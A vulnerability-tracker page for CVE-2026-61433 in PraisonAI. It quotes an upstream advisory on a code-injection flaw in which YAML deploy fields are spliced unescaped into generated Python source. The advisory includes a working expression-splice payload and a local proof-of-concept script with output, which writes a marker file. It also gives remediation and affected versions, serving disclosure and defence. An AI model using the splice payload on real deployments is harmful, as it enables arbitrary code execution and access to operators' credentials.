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  4. CVE 2026 61433 praisonai api deploy code generator embeds
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Back to active CVEs
High ยท CVSS 7.8CVE-2026-61433GHSA-79FV-7HQ9-W7XG

PraisonAI: API deploy code generator embeds unescaped YAML fields into Python sourceCVE-2026-61433

Answer in brief

CVE-2026-61433 records a High severity (CVSS 7.8) vulnerability in PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source. The current sources do not mark it as known exploited. The current feed maps praisonai (pip), praisonai (pypi). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 15, 2026Updated Oct 8, 2026Source checked Oct 8, 2026First seen by HOL Jul 15, 2026Material review Oct 8, 2026
Upstream Advisory

Record context

Vulnerability class
RCE
EPSS
Not reported
CWE IDs
CWE-94, CWE-95, CWE-116
Source
GitHub Security Advisories
Source checked
Oct 8, 2026
References
7 linked sources
Open source record

Key facts

Risk
High ยท CVSS 7.8
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 7.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps praisonai (pip), praisonai (pypi). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
praisonaipip<=4.6.774.6.78
praisonaipypi>=0 <4.6.784.6.78

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for praisonai, praisonai.
  2. 2Review the reported fix. Update praisonai to 4.6.78; praisonai to 4.6.78 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 15, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 8, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Jul 15, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • NVD vulnerability recordnvd.nist.gov
  • Source referencevulncheck.com
  • GitHub security advisorygithub.com
Upstream source description

# API deploy code generator embeds unescaped YAML fields into Python source ## Summary PraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled. ## Technical Details The vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`. The current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax: ```python def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str: ... code = f'''""" ... praisonai = PraisonAI(agent_file="{agents_file}") ... "agent_file": "{agents_file}" ... app.run( host='{config.host}', port={config.port}, debug={config.reload} ) ''' ``` The violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression: ```text ' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + ' ``` The generated startup code then becomes equivalent to: ```python app.run( host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '', port=8005, debug=False, ) ``` That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator. `agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `" + (<side effect> and "") + "` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value. ## PoV The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check. ```python from pathlib import Path import json import sys import tempfile import types import yaml def install_stubs(): class FakeApp: def __init__(self, name): self.name = name def route(self, *args, **kwargs): def deco(func): return func return deco def run(self, *args, **kwargs): return None flask = types.ModuleType("flask") flask.Flask = FakeApp flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"}) flask.jsonify = lambda obj: obj sys.modules["flask"] = flask flask_cors = types.ModuleType("flask_cors") flask_cors.CORS = lambda app: app sys.modules["flask_cors"] = flask_cors praisonai_mod = types.ModuleType("praisonai") class FakePraisonAI: def __init__(self, agent_file): self.agent_file = agent_file def run(self): return "ok" praisonai_mod.PraisonAI = FakePraisonAI sys.modules["praisonai"] = praisonai_mod def main(repo): sys.path.insert(0, str(Path(repo) / "src" / "praisonai")) from praisonai.deploy.api import generate_api_server_code from praisonai.deploy.models import APIConfig from praisonai.deploy.schema import validate_agents_yaml install_stubs() with tempfile.TemporaryDirectory() as tmp: tmp_path = Path(tmp) host_marker = tmp_path / "host-marker.txt" file_marker = tmp_path / "agent-file-marker.txt" host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '" agents_yaml = tmp_path / "agents.yaml" agents_yaml.write_text(yaml.safe_dump({ "deploy": { "type": "api", "api": {"host": host_payload, "port": 8005, "auth_enabled": False}, }, "agents": [{"name": "demo", "role": "demo", "goal": "demo"}], })) parsed_config = validate_agents_yaml(str(agents_yaml)) results = [] for label, config in [ ("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)), ("malicious_host_from_yaml", parsed_config.api), ]: host_marker.unlink(missing_ok=True) code = generate_api_server_code("agents.yaml", config) compile(code, f"<generated-{label}>", "exec") exec(code, {"__name__": "__main__"}) results.append({ "case": label, "compiled": True, "host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None, "marker_exists_after_startup": host_marker.exists(), "marker_contents": host_marker.read_text() if host_marker.exists() else None, "generated_contains_raw_host": config.host in code, }) file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \"" file_marker.unlink(missing_ok=True) code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False)) compile(code, "<generated-agent-file>", "exec") namespace = {"__name__": "generated_agent_file"} exec(code, namespace) namespace["list_agents"]() results.append({ "case": "malicious_agent_file_route_value", "compiled": True, "marker_exists_after_list_agents": file_marker.exists(), "marker_contents": file_marker.read_text() if file_marker.exists() else None, "generated_contains_raw_agent_file": file_payload in code, }) print(json.dumps(results, indent=2)) return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1 if __name__ == "__main__": raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else ".")) ``` ## PoC Command used against current source: ```sh uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI ``` Decisive output: ```json [ { "case": "safe_host", "compiled": true, "host_preserved_by_yaml_parser": null, "marker_exists_after_startup": false, "marker_contents": null, "generated_contains_raw_host": true }, { "case": "malicious_host_from_yaml", "compiled": true, "host_preserved_by_yaml_parser": true, "marker_exists_after_startup": true, "marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED", "generated_contains_raw_host": true }, { "case": "malicious_agent_file_route_value", "compiled": true, "marker_exists_after_list_agents": true, "marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED", "generated_contains_raw_agent_file": true } ] ``` The `safe_host` negative control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response. ## Impact If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source. ## Suggested Fix Do not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host='{config.host}'` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings. ## Affected Package/Versions Package: `praisonai` Confirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0` Static sweep: | Target | Result | | --- | --- | | `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present | | current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present | Suggested severity: High Suggested CVSS v3.1: ```text CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ``` Suggested CWEs: - CWE-94: Improper Control of Generation of Code - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code - CWE-116: Improper Encoding or Escaping of Output ## Advisory History The closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API. This is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`. AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic. ## References - `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()` - `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths - `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler - `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue - `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue - CWE-94: https://cwe.mitre.org/data/definitions/94.html - CWE-95: https://cwe.mitre.org/data/definitions/95.html - CWE-116: https://cwe.mitre.org/data/definitions/116.html

Quoted source text, attributed separately from HOL analysis.

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